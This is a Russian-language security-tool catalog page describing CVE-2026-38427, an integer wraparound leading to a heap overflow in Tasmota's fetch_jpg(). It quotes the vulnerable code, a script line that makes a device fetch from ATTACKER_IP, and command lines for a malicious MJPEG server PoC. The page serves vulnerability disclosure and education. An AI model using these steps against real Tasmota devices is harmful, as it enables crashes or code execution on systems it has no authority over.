Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2026-38427 — CVE-2026-38427 — Integer Wraparound → Heap Buffer Overflow in Tasmota fetch_jpg() uint16_t (Tasmota <= 15.3.0.3) | Kitploit
Инструменты/GitHubGitHub/sermikr0/cve-2026-38427
Embedded Systems SecurityIoT SecurityVulnerability AnalysisExploitationPenetration TestingHardware & IoT SecurityBinary Exploitation
GitHubsermikr0/cve-2026-38427

CVE-2026-38427

CVE-2026-38427 — Integer Wraparound → Heap Buffer Overflow in Tasmota fetch_jpg() uint16_t (Tasmota <= 15.3.0.3)

Репозиторий
2 месяцев назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2026-38427: Целочисленное переполнение → Переполнение кучи в fetch_jpg() Tasmota

CVE: CVE-2026-38427
Серьёзность: Критическая (CVSS 9.8)
Продукт: Arendst Tasmota
Затрагиваемая версия: <= 15.3.0.3
Файл: tasmota/tasmota_xdrv_driver/xdrv_10_scripter.ino
Функция: fetch_jpg() — case 2 (захват кадра MJPEG)
Автор: Saidakbarxon Maxsudxonov
Раскрытие: Ответственное — сообщено Tasmota до публикации


Краткое описание

В функции fetch_jpg() драйвера скриптера Tasmota существует уязвимость целочисленного переполнения uint16_t. Когда устройство Tasmota захватывает кадры MJPEG с сервера под контролем атакующего, значение заголовка Content-Length считывается в переменную uint16_t через atoi(). Значения больше 65535 незаметно переполняются (например, 65537 → 1), что приводит к выделению крайне маленького буфера в куче. Устройство считывает из потока только переполненное количество байт, оставляя остаток в буфере потока, что вызывает повреждение кучи/состояния потока и приводит к сбою (DoS) или потенциальному удалённому выполнению кода.


Уязвимый код

root@kitploit:~
// tasmota/tasmota_xdrv_driver/xdrv_10_scripter.ino

// Case 2: fetch next MJPEG frame
char inbuff[64];
stream.readBytesUntil('\n', inbuff, sizeof(inbuff));  // reads "Content-Length: 70000"
char *cp = strchr(inbuff, ':');
uint16_t size = 0;
if (cp) {
    size = atoi(cp + 1);   // atoi() returns int 70000
                            // IMPLICIT TRUNCATION: uint16_t = 70000 & 0xFFFF = 4464
}
uint8_t *buff = (uint8_t *)special_malloc(size);   // malloc(4464) — too small!
if (buff) {
    stream.readBytes(buff, size);                  // reads only 4464 bytes
                                                   // 65536 bytes remain in stream → corruption
}

Таблица целочисленного переполнения


Сценарий атаки

Атакующий, который может заставить устройство Tasmota подключиться к своему HTTP-серверу (через вредоносный скрипт Tasmota или MITM), может отправлять кадры MJPEG со значениями Content-Length, превышающими 65535. Устройство:

  1. Выделит маленький буфер (переполненное значение)
  2. Считает только часть данных
  3. Оставит остаток байт, повреждая состояние HTTP/WiFi-потока
  4. Вызовет сбой или неопределённое поведение, ведущее к потенциальному RCE

Запуск через скрипт Tasmota:

root@kitploit:~
>D
>B
fetchjp(ATTACKER_IP:PORT/stream,0,0,1)
>1
=fetchjp(2,0,0,1)

Доказательство концепции

PoC запускает поддельный MJPEG HTTP-сервер, отправляющий кадры с вредоносными значениями Content-Length:

root@kitploit:~
python3 CVE-2026-38427_poc.py --port 8889 --cl 65537
python3 CVE-2026-38427_poc.py --port 8889 --cl 131072

Полная реализация в CVE-2026-38427_poc.py.


Влияние

  • Конфиденциальность: Высокая (возможно RCE на ESP32)
  • Целостность: Высокая
  • Доступность: Высокая (гарантированный сбой/перезагрузка)
  • Вектор атаки: Сетевой
  • Аутентификация: Не требуется (устройство должно быть запрограммировано на подключение к серверу атакующего)

Хронология

  • 2026-03-29: Уязвимость обнаружена и сообщена в MITRE
  • 2026-03-29: Назначен CVE-2026-38427
  • 2026-05-xx: Патч выпущен Tasmota (v15.3.0.4+)

Ссылки

  • Tasmota GitHub
  • xdrv_10_scripter.ino
  • CVE-2026-38427
Скачать инструмент
Content-Length (заголовок)значение uint16_tВыделено буфераНепрочитано байт
6553600 (пропущено)65536
6553711 байт65536
7000044644464 байта65536
13107200 (пропущено)131072